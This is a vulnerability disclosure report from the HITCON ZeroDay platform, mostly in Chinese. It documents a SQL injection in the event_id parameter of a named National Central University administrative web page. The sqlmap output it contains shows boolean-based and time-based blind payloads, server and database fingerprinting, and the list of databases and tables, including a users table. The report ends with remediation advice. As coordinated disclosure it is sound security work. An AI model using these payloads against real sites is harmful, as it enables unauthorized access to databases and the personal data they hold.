Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00411
- 發信 Vendor: 國立中央大學
- Title: 国立中央大学某站SQL
- Introduction: 国立中央大学教务处SQL
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/07 00:00:17 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/07 00:28:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/07 20:16:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/07 20:16:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/07 20:16:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/07 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2018-00411
- 通報者：cra5h (Cra5h)
- 風險：高
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
国立中央大学教务处SQL
SQL位置：
http://osa.adm.ncu.edu.tw/news_article.php?event_id=1993
event_id参数过滤不严导致SQL产生
GET parameter 'event_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
Parameter: event_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: event_id=1993 AND 2941=2941
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: event_id=1993 AND SLEEP(5)[19:48:34] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.6.3, Apache 2.4.10
back-end DBMS: MySQL >= 5.0.12
[19:48:34] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\osa.adm.ncu.edu.tw'
确认影响库：（3个）
available databases [3]:
[] information_schema
[] newosa
[*] test
[19:50:10] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\osa.adm.ncu.edu.tw'
查看数据量：
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 804 |
| SESSION_VARIABLES | 447 |
| GLOBAL_VARIABLES | 433 |
| GLOBAL_STATUS | 341 |
| SESSION_STATUS | 341 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 219 |
| COLLATIONS | 219 |
| PARTITIONS | 77 |
| TABLES | 77 |
| PLUGINS | 42 |
| CHARACTER_SETS | 40 |
| INNODB_FT_DEFAULT_STOPWORD | 36 |
| KEY_COLUMN_USAGE | 18 |
| SCHEMA_PRIVILEGES | 18 |
| STATISTICS | 18 |
| TABLE_CONSTRAINTS | 18 |
| ENGINES | 9 |
| SCHEMATA | 3 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+
Database: newosa
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| osa2014_dosaitinerary_calendar | 2131 |
| osa2014_site_calendar | 1197 |
| osa2014_event | 862 |
| osa2014_event_calendar | 725 |
| osa2014_download | 170 |
| osa2014_group_member | 101 |
| osa2014_resource | 53 |
| osa2017_osa_site_calendar | 34 |
| osa2014_links | 22 |
| osa2014_download_category | 15 |
| osa2014_maintain | 14 |
| osa2014_maintain_file | 13 |
| osa2014_users | 13 |
| osa2014_event_category | 9 |
| osa2014_resource_category | 9 |
| osa2014_group | 8 |
| osa2014_maintain_email_log | 8 |
| osa2014_download_type | 2 |
+---------------------------------------+---------+
[21:54:50] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\osa.adm.ncu.edu.tw'
修補建議
过滤，参数化